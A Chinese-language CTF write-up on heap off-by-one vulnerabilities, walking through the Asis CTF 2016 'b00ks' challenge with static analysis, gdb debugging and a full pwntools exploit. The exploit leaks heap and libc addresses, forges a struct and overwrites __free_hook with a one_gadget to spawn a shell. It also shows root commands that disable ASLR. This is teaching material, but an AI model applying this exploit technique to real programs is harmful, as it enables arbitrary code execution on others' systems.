从这篇开始就进入堆的范围了,关于堆的相关知识请参考wiki上的章节。博主直接将做堆的技巧,这篇讲off-by-one,也是踩了很多的坑,后面会一一说明。这篇文章因为写的比较详细,所以会很长,如果有忘记的知识点请翻阅目录查看。感谢在学习中帮助过我的大佬们:NoOne、povcfe

附上大佬博客:

  • https://xz.aliyun.com/t/6087
  • https://www.povcfe.site/2019/09/02/ptmalloc2/

编写不易,如果能够帮助到你,希望能够点赞收藏加关注哦Thanks♪(・ω・)ノ

堆中的Off-by-one

为什么说是堆中的呢,因为off-by-one这种技术不仅仅适用于堆,个人认为在栈溢出中也可以得到很好的应用,在这里讲是由于ctf很喜欢在堆中出题。严格来说off-by-one漏洞是一种特殊的溢出漏洞,off-by-one指程序向缓冲区中写入时,写入的字节数超过了这个缓冲区本身所申请的字节数并且只越界了一个字节

off-by-one漏洞原理

off-by-one这种漏洞的形成和整形溢出很相似,往往都是由于对边界的检查不够严谨,当然也不排除和写入的size正好就只多了一个字节的情况,边界验证不严谨通常有两种情况:

  • 使用循环语句向堆块中写入数据时,循环的次数设置错误,导致多谢了一个字节,后面会举例讲解
  • 对字符串长度判断有误

举例讲解原理

1、循环边界不严谨:

int my_gets(char *ptr,int size)
{int i;for(i = 0; i <= size; i++){ptr[i] = getchar();}return i;
}
int main()
{char *chunk1,*chunk2;chunk1 = (char *)malloc(16);chunk2 = (char *)malloc(16);puts("Get Input:");my_gets(chunk1, 16);return 0;
}

讲一下这个例子的流程,首先创建了两个char类型的指针chunk1、chunk2,并且分别创建了两个16个字节的堆,接着向my_gets函数重传入了chunk1和16。my_gets函数的作用是从外界接收字符串并将字符串存放进chunk1的堆中。但是在存入的时候发生了边界不严谨的情况for(i = 0; i <= size; i++)。i从0开始,但是i<=size(16),也就是说循环实际上是走了17次的,这就导致了chunk1会溢出一个字节

2、对字符串长度判断有误

int main(void)
{char buffer[40]="";void *chunk1;chunk1=malloc(24);puts("Get Input");gets(buffer);if(strlen(buffer)==24){strcpy(chunk1,buffer);}return 0;
}

还是讲一下这个 例子的流程,首先创建了一个40字节的字符串buffer,然后又创建了一个24字节的堆chunk1。接着从外部接收字符串并存放在字符串buffer中,然后判断buffer中的字符串的长度是否为24个字节,如果是将这段字符串放在堆中。其实乍一看来并没有什么问题,但是有一个隐形的东西,就是结束符\x00。strcpy函数在拷贝的时候也会将结束符\x00存入堆块中,也就是说我们想chunk1中一共写了25个字节,这就导致了chunk1溢出了一个字节

实例讲解

题目选自:Asis CTF 2016 b00ks

checksec检查一下保护


可以看到64位程序,并且只有canary保护时关闭的,并且做这道题还需要关闭ASLR保护,如果不关libc的地址会变,关闭方法如下

$ sudo su
[sudo] password : 你自己的密码
echo 0 > /proc/sys/kernel/randomize_va_space

重启虚拟机后就会自动开启,所以不用担心

程序流程

题目下载之后需要chmod 777给程序任意用户读写执行权限,接着运行一下首先进去之后需要输入一个作者名,接着出来几个选项,这是一个很常见的选单式程序,功能是一个图书管理系统。1选项是创建图书,2选项是删除图书,3选项是修改图书内容,4选项是打印图书信息,5选项是更改作者名,6选项是退出。接下来我们每个选项都尝试一下,并通过代码的形式还原每个选项的执行流程:

1、创建图书:

进入创建图书功能需要输入四个内容:书名大小、书名、书内容大小、书内容,我们通过创建createbook函数,向其中传入这四个参数,代替我们手动创建图书

2、删除图书:

进入删除功能需要输入图书id,图书id是创建图书的时候就开始从1分配的,我们通过创建deletbook函数,向其中传入id这个参数完成自动化删除(注意:被删除的图书,其id被不会重新使用)

3、修改图书内容

进入修改图书内容需要输入两个内容:图书id、新的图书内容,通过创建editbook函数向其中传入这两个参数,自动化完成修改内容的操作

4、打印图书信息

进入打印图书信息功能,不需要输入任何字符,将会打印出所有图书id、书名、书内容、作者名。创建printbook函数,因为我们不需要获取所有的图书信息,只需要获取指定的图书信息就可以了,所以向其中传入图书id参数,接收打印出来的四条信息并返回

5、修改作者名

进入修改作者名功能,需要输入新的作者名,创建 changename函数,向其中传入名字参数完成修改操作

IDA静态分析

做的时间久了越来越发现静态分析其实很重要,因为在静态分析下能够知道程序的内部结构。所以这一部分的截图和讲解会很多,也希望正在观看这篇文章的你能够一起动手操作一下

main函数分析

使用IDA x64打开程序,首先看main函数(左侧)

在main函数伪代码中出现了几个不知道干什么的函数:

  • sub_A77()函数(右1):欢迎标语
  • sub_B6D()函数(右2):就是在我们前面讲执行流程中的第一步,首次创建作者名。※※其中还有一个sub_9F5函数,现在在你的电脑或手机上创建一个记事本,把这这个函数名记录下来,一会讲※※
  • sub_A89()函数(右3):主操作选项,输入1、2、3、4、5、6,分别对应其功能,前面说过了这里不再赘述了,输入的数字会存放在v1变量中返回到main函数

接下来做了一个循环,这个循环的作用就是不断接收用户的操作选项,v4变量承接了来自sub_A89()函数的返回值。下面做了一个判断:如果用户输入的是“6”,那么直接跳出循环退出程序。如果用户输入的是1、2、3、4、5,那么v4变量就会作为数组指针的下标,进而进行段内跳转,通俗点说就是去执行对应功能的函数,那么是怎么执行的呢?我们切换到main函数的汇编界面:

在main函数会变截面的后半段你会看到这样的代码,这就是通过v4变量来调用各个功能函数的方法

反过头来我们看一下前面留下来的在首次创建作者名功能中的未知函数sub_9F5():


通过对sub_9F5()函数(右)的观察,可以看出这是一个向内存中写入的功能,也就是说我们输入的作者名会通过这个函数写到某个位置。sub_9F5()函数有一个点需要注意,就是他的参数off_20201832

  • 传入的1参off_202018会作为read函数的参数,也就是说我们输入的作者名就存放在off_202018这个指针当中
  • 传入的2参32作为for循环的判断条件

这个函数本身写功能会正常运行,但是出现了一个问题,就是我们在原理部分提到的没有对循环边界做严格限制。首先这个循环是从0开始的,但是会在不出现意外的情况下循环的判断条件是变量i等于32,也就是说这个循环实际上执行了33次,这就导致了有一个字节的溢出

看到这你可能会有疑问:人家循环33次还可能是正常的执行流程啊,凭什么说这个位置造成了溢出呢?

别着急,带着你的疑问继续往下看,我们双击sub_9F5()函数中的off_202018参数:

ida会带我们来到off_202018这个指针的位置,在他的上面还能够找到两个和他很像的指针off_202008off_202010。现在在你的电脑或手机上创建一个记事本,把这两个指针记录下来,一会会用到

创建图书功能分析

在前面main函数的汇编界面,我们找到了各个功能函数,那么就一一分析一下,首先是创建图书书功能,你可以在汇编界面call sub_F55的位置直接双击进入,或者在左侧函数列表中找到sub_F55函数


进入伪代码界面,介绍一下执行流程,首先需要输入书名大小,并创建一个书名大小的堆,接着调用前面讲过的sub_9F5()函数,向这个堆中写入书名,并判断是否写入成功。接着需要输入书内容大小,并创建一个书内容大小的堆,依然还是调用sub_9F5()函数,想这个堆中写入书名,并判断是否写入成功。接下来比较重要了,程序会将这些创建成功的堆指针存放进一个结构体中(下左):

还是先说一下流程:首先调用sub_B24()函数,这个函数比较陌生,点进入之后会看到一个循环,i从0开始,所以一共循环20次,接下来会有一个if,判断off_202010 + i指针的位置是否有值,如果没有则返回i。这是后需要注意了off_202010这个指针是不是有点眼熟?打开你的记事本,这就是前面让大家记下来的另外两个指针中的一个。这个函数的功能就是为书分配id,并且由于循环20次,所以这个程序最多能够创建20本书

继续往下看,创建了一个0x20个字节的堆块,v3作为这个堆块的头指针。接下来判断堆块是否执行成功,如果成功:

  • v3 +6的位置放v1的值,也就是说存放的就是书内容的size
  • off_202010 + v2的位置放v3,即当前图书的指针
  • v3 + 2的位置放图书内容堆块指针v5
  • v3 + 1的位置放书名堆块指针ptr
  • 最后将v3起始的位置放图书id

也就是说每当我们创建一本书后,程序都会将这本书以下面结构体的形式存放在off_202010 + v2的位置:

struct book
{int id;char *name;char *description;int size;
}

我们把前面的图拿出来:


还记得这个图吗?off_202018中存放的是作者名,而off_202010中存放的是每个图书的指针。还记的前面留下来的问题吗:为什么sub_9F5()函数循环写入33次会造成off-by-one的影响?因为off_202018和off_202010是紧紧连在一起的,如果我们将作者名输入32个字节的字符串,那么循环多出来的一次会将\x00写到off_202010的起始第一个字节,也就是说会将创建的第一本图书的低字节覆盖掉。这么讲可能没有什么画面感,没有关系,后面还会根据动态调试进行进一步演示和讲解~

修改图书内容功能分析

接下来是修改图书功能,你可以在main函数汇编界面call sub_E17的位置直接双击进入,或者在左侧函数列表中找到sub_E17函数:


我们切换到伪代码界面:

简单的分析一下这个功能,首先定义了两个int型变量v1、i,接着需要输入要修改的书的id,输入的id会存放在v1变量中。接下来做一个判断,看看i是否有值,接着循环20次在off_202010中寻找要修改的图书。最后调用sub_9F5函数重新在该图书对应结构体的图书内容位置写入内容

删除图书功能

接下来是删除图书功能,你可以在main函数汇编界面call sub_BBD的位置直接双击进入,或者在左侧函数列表中找到sub_BBD函数:


我们切换到伪代码界面


简单的分析一下这个功能,首先定义了两个int型变量v1、i,接着需要输入要修改的书的id,输入的id会存放在v1变量中。接下来做一个判断,看看i是否有值,接着循环20次在off_202010中寻找要修改的图书。最后调用free函数释放掉结构体中的每个结构

打印图书信息功能分析

接下来是打印图书信息功能,你可以在main函数汇编界面call sub_D1F的位置直接双击进入,或者在左侧函数列表中找到sub_D1F函数:


我们切换到伪代码界面
简单的分析一下这个功能,这次不需要输入任何的数值,这个函数会循环20次,首先将off_202010 + i位置的结构体指针赋给v0变量,如果v0变量中有值,那么就会打印出这个结构体的id、书名、图书内容、作者。由于是循环输出,所以所有创建的图书都将会被打印

修改作者名功能分析

最后是修改作者名功能,你可以在main函数汇编界面call sub_B6D的位置直接双击进入,或者在左侧函数列表中找到sub_B6D函数:


切换到伪代码界面

简单的分析一下,直接调用sub_9F5函数向原来存放作者名的off_202018地址中重新写一遍新的用户名,用户名长度依然还是32个字节

到这为止,我们就将这个程序主要的部分分析完成了,在我们使用ida了解了整个程序构造之后需要记住几个关键点:

  • 作者名存放在off_202018指针中,这个指针一共32个字节
  • 图书结构体指针存放在off_202010指针中
  • sub_9F5()函数存在off-by-one漏洞,在首次创建作者名或修改作者名的时候,如果填写32个字节的字符串,那么就会导致\x00溢出到off_202018的低位(一会演示)

思路讲解及动态调试

定位作者名

接下来就到了动态调试的部分了,希望正在观看的你能够打开gdb和我一起做,记得把ASLR保护关掉。首先我们用gdb打开程序并按’r’运行起来,在首次创建作者名的位置,我们输入任意32个字节的字符串将存放作者名的off_202018空间填满:

接着我们ctrl + c进入调试界面,在这里我们需要定位刚才输入的作者名,方式有两种:

1、因为我们知道作者名存放在off_202018中,所以我们只需要知道代码段的基地址在加上off_202018的偏移就可以找到存放作者名的指针了,首先我们输入命令vmmap查看一下代码段的起始地址

可以看到第一个可读可执行的红色就是代码段了,并且能够找到这个代码段的起始位置为0x555555754000,接着我们回顾一下ida中的off_202018的偏移:

可以看到off_202018的偏移为0x202018,那么将代码段起始地址加上off_202018的偏移就可以得到存放作者名地址的指针了:

0x555555754000 + 0x202018 = 0x555555756018

使用命令x/16gx 0x555555756018查看一下:

可以看到0x555555756018中存放的是存放用户名的地址0x555555756040,0x555555756040的位置正好就是我们刚才输入的32个字节的作者名

2、直接输入命令search 作者名
可以看到我们的字符串存放在0x555555756040位置,我们直接输入命令x/16gx 0x555555756040就可以看到字符串了


结果和第一种方法知找到的是一样的,需要注意的是红色方框圈起来的这个字节00就是经过第33次循环写入的\x00

泄露出图书结构体指针

接下来我们输入命令c回到程序执行界面,输入1创建两个图书:

  • 图书1:书名大小 = 128,书名随便写,内容大小 = 32,内容随便写
  • 图书2:书名大小 = 0x21000 = 135168,书名随便写,内容大小 = 135168,内容随便写

为什么要将书1的书名大小设为128呢?书2的书名和内容要设为135168呢?

打开你的记事本将这个问题写下来,后面会进行讲解。接着我们输入命令ctrl + c回到调试界面,这次我们定位一下两个书结构体的位置,因为图书的结构体指针存放在off_202010中,所以还是用老方法数据段起始地址加上偏移

0x555555754000 + 0x202010 = 0x555555756010

输入命令x/16gx 0x555555756010查看一下off_202010:

可以看到0x555555756010中存放的就是图书1的结构体指针,紧跟着的就是图书2的结构体指针。还有一点需要注意的是我们输入的作者名也紧紧地贴在两个结构体指针前面,这是因为存放这两个东西的off_202010和off_202018是挨着的

由于作者名和book1结构体相连,所以事实上book1结构体指针的低位30将原有作者名溢出的\x00覆盖掉了。那么我们如果打印作者名,最后的\x00也是要输出的,但是被30覆盖之后30也会被打印,由于30是book1结构体指针的起始位置,那么book1结构体指针也会被一起打印出来。举个栗子:两张扑克牌A、B,牌A放在桌子上,牌B的边缘涂上胶水,接着将牌B有胶水的一面边缘放在牌A的边缘使两张牌黏在一起,最后从桌子上拿起牌A,由于A与B粘合的原因,牌B也会跟着被从桌子上拿起

我们试一下,输入命令c回到程序中,按4打印图书信息:


可以看到book1的结构体指针已经被泄露出来了,如果想要看到正常的16位地址,需要转换一下


可以看到我们泄露的0wuUUU正是book1的结构体指针,打开记事本将book1结构体指针地址记录下来,后面会用到,那么接下来我们编写部分exp自动化完成上述的操作:

createname("hollkaaabbbbbbbbccccccccdddddddd")
createbook(128,"hollk_book1",32,"hollk_desc1")
createbook(0x21000,"hollk_book2",0x21000,"hollk_desc2")
book_id_1,book_name,book_des,book_author=printbook(1)
book1_addr=u64(book_author[32:32+6].ljust(8,'\x00'))

覆盖原有结构体指针

在这一部分我们首先看一下book1结构体的内容,输入命令x/20gx 0x555555757730

可以看到上半部分就是book1的结构体,下半部分就是book2的结构体,我们直接看book1的结构体:

  • 0x555555757730:book1_id
  • 0x555555757738:book1_name
  • 0x555555757740:book1_desc

我们需要注意的是0x555555757740这两个地址里面存放的是book1_desc,拿出你的记事本把这一点记下来

接下来我们去想一下,既然book1的结构体指针低位能够覆盖作者名的\x00,那么作者名的\x00是不是也能够覆盖结构体指针的低位呢?正好这个程序还有修改作者名的功能,而且在前面ida分析的时候发现新的作者名依然还会存放在202018的位置。那么我们预想一下book1的结构体指针是0x555555757730那么被覆盖之后就会变成0x555555757700

试一下,如果你跟着我做,现在gdb应该是停在程序执行界面,直接按5修改作者名,依然还是32个字节的任意字符串


接着ctrl + c回到调试界面,重新找到作者名的位置


可以看到book1原有的结构体指针0x555555757730\x00覆盖成了0x555555757700,现在拿出你的记事本,0x555555757700的位置就是刚才book1_desc的位置,这也是为什么要将book1_name设置成128的原因。那么我们去想想一想,调用一本书的流程:首先是和图书id对应着图书的结构体指针,结构体指针对应着结构体,结构体带动其中的成员变量。那么上图我们通过\x00覆盖之后原有的结构体指针变成了0x555555757700,那么程序就会去0x555555757700的位置寻找结构体。如果我们在原有的book1的book1_desc的位置伪造一个结构体,然后在进行\x00覆盖,那么就把伪造的结构体当做book1来实现:

伪造结构体并泄露book2书名、内容地址

接下来需要考虑的就是我们伪造结构体里面的成员变量应该写什么,在这一部分首先解答一下前面遗留的问题。我们已经回答了为什么book1的name要设置为128个字节,那么为什么book2的name要设置为135168呢?

这是因为我们申请一个超大块的空间,使得堆以mmap的形式进行扩展,那么mmap申请的这个空间会以单独的段形式表示。那么为什么是135168个字节呢?根据povcfe大佬的解释,只有接近或超过top_chunk的size大小的时候才会使用mmap进行拓展,具体的数字需要尝试几次。如果发现上图mmap位置出现,就可以判断输入多大的数值了。或者像我这样没有标识mmap位置的话,可以查看是否存在紫色不断变换空间大小的data段

由于关闭了ASLR保护,所以libc.so的基地址就不会发生改变了,因为book2的结构体成员的地址所属为mmap申请的空间,那么mmap地址不变、libc.so基地址不变,就会导致book2成员变量中的地址所在位置距离libc.so的偏移不变。那么如果可以通过泄露book2结构体成员变量中的地址的话,减去这个这个偏移就会得到libc.so的基地址。一旦得到了libc.so的基地址,我们可以利用pwntools的工具找到一些可以利用的函数了

说了这么多有什么用呢,如果想要达到上面的效果,那么就要从部署伪造的结构体开始。首先是fake_book1_id,既然我们想要完全将原有的book1替换掉,那么fake_book1_id就必须为1,这样才能按照第一个book的形式替代原有的book1。接下来是fake_book1_name,这里我们将指向book2_name的地址,fake_book1_desc指向book2_desc的地址。这样一来我们再一次执行打印功能的时候就会将book2_name和book2_desc的地址打印出来了

接下来我们看一下book2_name和book2_desc的地址是多少,依然还是先定位作者名,然后找到book2的结构体指针,最后进入结构体指针看一下:


可以看到book2_name就在0x555555757768的位置,book2_desc在0x555555757770的位置 。这时候打开你的记事本,之前让记过泄露出来的book1结构体指针地址0x555555757730,这个时候就派上用场了:

  • book2_name - book1_addr = 0x555555757768 - 0x555555757730 = 0x38 ,即fake_book1_name = book1_addr + 0x38
  • book2_desc - book1_addr = 0x555555757770 - 0x555555757730 = 0x40 , 即fake_book1_desc = book1_addr + 0x40

这样一来,结尾加上oxffff作为结束符,我们伪造的结构体就完成了:

payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff)

上面这个图是通过修改内存得到的,当然你也可以在exp中导入gdb,修改命令为set *地址 = 内容,例如set *0x555555757700 = 0x1

我们部署好结构体之后还需要重新修改一下作者名,因为我们的结构体是写在原book1_desc中的,所以按照攻击流程上来说应该先部署伪造的结构体,然后再使用\x00覆盖book1结构体指针,使指针指向我们伪造的结构体

这样一来我们按c回到程序执行流程,先修改作者名,然后再次执行打印功能,就会将book2_name和book2_desc打印出来了:

最后使用代码将上诉操作进行编写:

book1_addr = 0x555555757730
payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff)
editbook(book_id_1, payload)
changename("hollkaaabbbbbbbbccccccccdddddddd")
book_id_1, book_name, book_des, book_author = printbook(1)
book2_name_addr = u64(book_name.ljust(8,"\x00"))
book2_des_addr = u64(book_des.ljust(8,"\x00"))
#book2_name_addr = 0x7ffff7fbd010
#book2_des_addr = 0x7ffff7f9b010

计算libc基地址、freehook、onegadget

既然我们得到了book2_name_addr和book2_des_addr就可以通过前面的方法去计算libc基地址了。ctrl + c回到调试界面,使用命令vmmap查看一下


具有可读可执行的.so就是我们要找的libc.so了,它的起始地址是0x7ffff79e4000,接下来可以任选book2_name_addr或book2_des_addr其中一个计算偏移,我这里就选book2_name_addr吧:

book2_desc_addr - libc_addr = 0x7ffff7f9b010 - 0x7ffff79e4000 = 0x5b7010
即:libc_addr = book2_desc_addr - 0x5b7010

在得到libc基地址之后就可以通过pwntools查找函数了,可以直接利用pwntools查找free_hook函数

free_hook = libc_base + libc.symbols["__free_hook"]

至于onegadget嘛,直接使用工具就可以了,我们使用ldd查看一下这个程序用到的libc,新开一个shell页,输入命令ldd b00ks


接着使用命令one_gadget /lib/x86_64-linux-gnu/libc.so.6查看一下:


可以看到三个onegadget:0x4f365、0x4f3c2、0x10a45c,这三个需要挨个试一下,我的第二好使(不同版本ubuntu操作系统onegadget不一样);

onegadget = libc_base + 0x4f3c2

挂钩子

因为我们选择的是book2_des_addr,所以思路就是先向伪造的结构体fake_book1的desc中部署free_hook,然后再向book2的desc中写onegadget:

最后在释放book2的时候就可以触发execve(’/bin/sh’)了!!!

这个过程就可以直接通过调用修改图书内容功能实现,下面是代码实现:

editbook(1,p64(free_hook))
editbook(2,p64(one_gadget))
deletebook(2)

EXP

from pwn import *
context.log_level = "info"binary = ELF("b00ks")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
hollk = process("./b00ks")def createbook(name_size, name, des_size, des):hollk.readuntil("> ")hollk.sendline("1")hollk.readuntil(": ")hollk.sendline(str(name_size))hollk.readuntil(": ")hollk.sendline(name)hollk.readuntil(": ")hollk.sendline(str(des_size))hollk.readuntil(": ")hollk.sendline(des)def printbook(id):hollk.readuntil("> ")hollk.sendline("4")hollk.readuntil(": ")for i in range(id):book_id = int(hollk.readline()[:-1])hollk.readuntil(": ")book_name = hollk.readline()[:-1]hollk.readuntil(": ")book_des = hollk.readline()[:-1]hollk.readuntil(": ")book_author = hollk.readline()[:-1]return book_id, book_name, book_des, book_authordef createname(name):hollk.readuntil("name: ")hollk.sendline(name)def changename(name):hollk.readuntil("> ")hollk.sendline("5")hollk.readuntil(": ")hollk.sendline(name)def editbook(book_id,new_des):hollk.readuntil("> ")hollk.sendline("3")hollk.readuntil(": ")hollk.writeline(str(book_id))hollk.readuntil(": ")hollk.sendline(new_des)def deletebook(book_id):hollk.readuntil("> ")hollk.sendline("2")hollk.readuntil(": ")hollk.sendline(str(book_id))createname("hollkaaabbbbbbbbccccccccdddddddd")
createbook(128, "hollk_boo1", 32, "hollk_desc1")
createbook(0x21000, "hollk_boo2", 0x21000, "hollk_desc2")book_id_1, book_name, book_des, book_author = printbook(1)
book1_addr = u64(book_author[32:32+6].ljust(8,'\x00'))
log.success("book1_address:" + hex(book1_addr))payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr+0x40) + p64(0xffff)
editbook(book_id_1,payload)
changename("hollkaaabbbbbbbbccccccccdddddddd")book_id_1, book_name, book_des, book_author = printbook(1)
book2_name_addr = u64(book_name.ljust(8,"\x00"))
book2_des_addr = u64(book_des.ljust(8,"\x00"))
log.success("book2 name addr:" + hex(book2_name_addr))
log.success("book2 des addr:" + hex(book2_des_addr))
libc_base = book2_des_addr - 0x5b7010
log.success("libc base:" + hex(libc_base))free_hook = libc_base + libc.symbols["__free_hook"]
one_gadget = libc_base+0x4f3c2 #0x4f365、0x4f3c2、0x10a45c
log.success("free_hook:" + hex(free_hook))
log.success("one_gadget:" + hex(one_gadget))
editbook(1, p64(free_hook))
editbook(2, p64(one_gadget))
#gdb.attach(hollk)
deletebook(2)
hollk.interactive()

结果如下:

好好说话之off-by-one相关推荐

  1. 如何看当前windows是utf8还是gbk_职场中的OKR如何“好好说话”

    在工作中,经常会遇到各种各样的问题需要沟通,不管是团队内部的,还是跨部分,或者是对上级汇报还是管理下属.我们发现,有些能力很优秀的人,他们讲的内容,别人很快能理解.但是有的人,说了半天,大家也不知道他 ...

  2. ⊱人永远需要两种能力:好好说话和情绪稳定

    昨晚已经躺下,收到朋友的一条微信. 是一张截图,题目是:武昌火车站附近爆发社会恶劣事件--面馆老板因与食客发生口角冲突被砍头断臂,事后扔进垃圾桶. 现场十分血腥,被围观群众拍下迅速在微博等网络媒体上传 ...

  3. 读书笔记之《好好说话》

    作者 主创成员:马东.马薇薇.黄执中.周玄毅.邱晨.胡渐彪.刘京京. 感想 这本书的主创者是<奇葩说>的大牛们,这也是将它纳入书单的原因.  不管在生活中还是在工作中"好好说话& ...

  4. 好好说话之Tcache Attack(1):tcache基础与tcache poisoning

    进入到了Tcache的部分,我还是觉得有必要多写一写基础的东西.以往的各种攻击手法都是假定没有tcache的,从练习二进制漏洞挖掘的角度来看其实我们一直模拟的都是很老的环境,那么这样一来其实和真正的生 ...

  5. 好好说话之Fastbin Attack(1):Fastbin Double Free

    好像拖更了好久...实在是抱歉....主要是fastbin attack包含了四个部分,后面的例题不知道都对应着哪个方法,所以做完了例题才回来写博客.fastbin attack应该也会分四篇文章分开 ...

  6. 沟通技巧-《好好说话》书中的精髓:掌握沟通、说服、谈判、演讲、辩论的五维话术,让你在任何场景下,都能做到处变不惊,学会说话这个技术活。

    <好好说话>书中的精髓:掌握沟通.说服.谈判.演讲.辩论的五维话术,让你在任何场景下,都能做到处变不惊,学会说话这个技术活. 相信在生活中,每个人都可能因为不会说话遇到一些困难: 工作辛苦 ...

  7. 好好说话之Use After Free

    到了Use After Free啦,总体来说这种手法并不复杂,特征也很明显,就是在静态分析阶段观察释放chunk之后指针是否置空.本以为参加hw会往后拖更,没想到这么快就写完了.如果前面一直跟着学的话 ...

  8. 好好说话之unlink

    堆溢出的第三部分unlink,这可能是有史以来我做的讲解图最多的一篇文章了累死 .可能做pwn的人都应该听过unlink,见面都要说声久仰久仰.学unlink的时候走了一些弯路,也是遇到了很多困扰的问 ...

  9. 好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc

    前言 本来是在做tcache attack的例题的,但是wiki上的challenge2考察的重点不仅仅是在tcache.题目程序中没有输出的功能,所以无法像往常一样去泄露libc,这个时候就需要进行 ...

  10. 也谈说话这件事--《好好说话》读后感

    沟通技能已经成为一种重要的生存技能,随着人工智能的兴起,很多专业领域的工作将会慢慢被计算机取代,而与人的沟通和交流相对于专业知识,则相对很难被取代,因为交流和沟通中需要体现人的情绪和感情,计算机在这块 ...

最新文章

  1. 数据表的三种基本操作(insert、delete、update)
  2. push_heap算法 (即满足max-heap条件,最大值在根节点)
  3. 期末复习、化学反应工程科目(第六、七章)
  4. hive中的单分区与多分区在hadoop上的对应关系
  5. git rebase命令(转)
  6. 【自适应(盲)均衡5】分数间隔均衡器基本原理及应用(更正数字通信翻译版中公式错误)
  7. java 根据类名示例化类_Java即时类| EpochSecond()方法的示例
  8. hp eva 4400存储配置手记
  9. win32汇编 钩子的编写与使用
  10. 最新敏感词库/违禁词检测接口,可接入文章发布
  11. 基于D-S证据理论的数据融合算法的研究
  12. 登录界面软键盘遮挡登入按钮 空间
  13. TortoiseHg笔记
  14. godaddy生成https 域名证书
  15. java 计算百分数问题
  16. C++设计模式之工厂模式
  17. 蒲公英内测分发平台解读2022年黑灰产APP诈骗
  18. 2.4 随机变量函数的分布
  19. Nessus介绍与安装
  20. 解决Graphviz无法显示决策树中文问题

热门文章

  1. python对excel分列转多行
  2. Win10无法开机提示自动修复无法修复你的电脑的有效解决方法
  3. 手把手教学php表情包,手把手教你做微信表情包
  4. 简单计算机java程序_JAVA程序员需要知道的计算机底层基础10-操作系统引导程序的简单...
  5. 程序实现汉字转换为拼音
  6. 认识压电式雨量传感器的工作原理及MODBUS-RTU RS485通信协议
  7. 窗口根据屏幕分辨率自动调整大小
  8. 学成在线-第13天-讲义-在线学习 HLS
  9. TypeScript 类型声明文件.d.ts
  10. Activity流程引擎表结构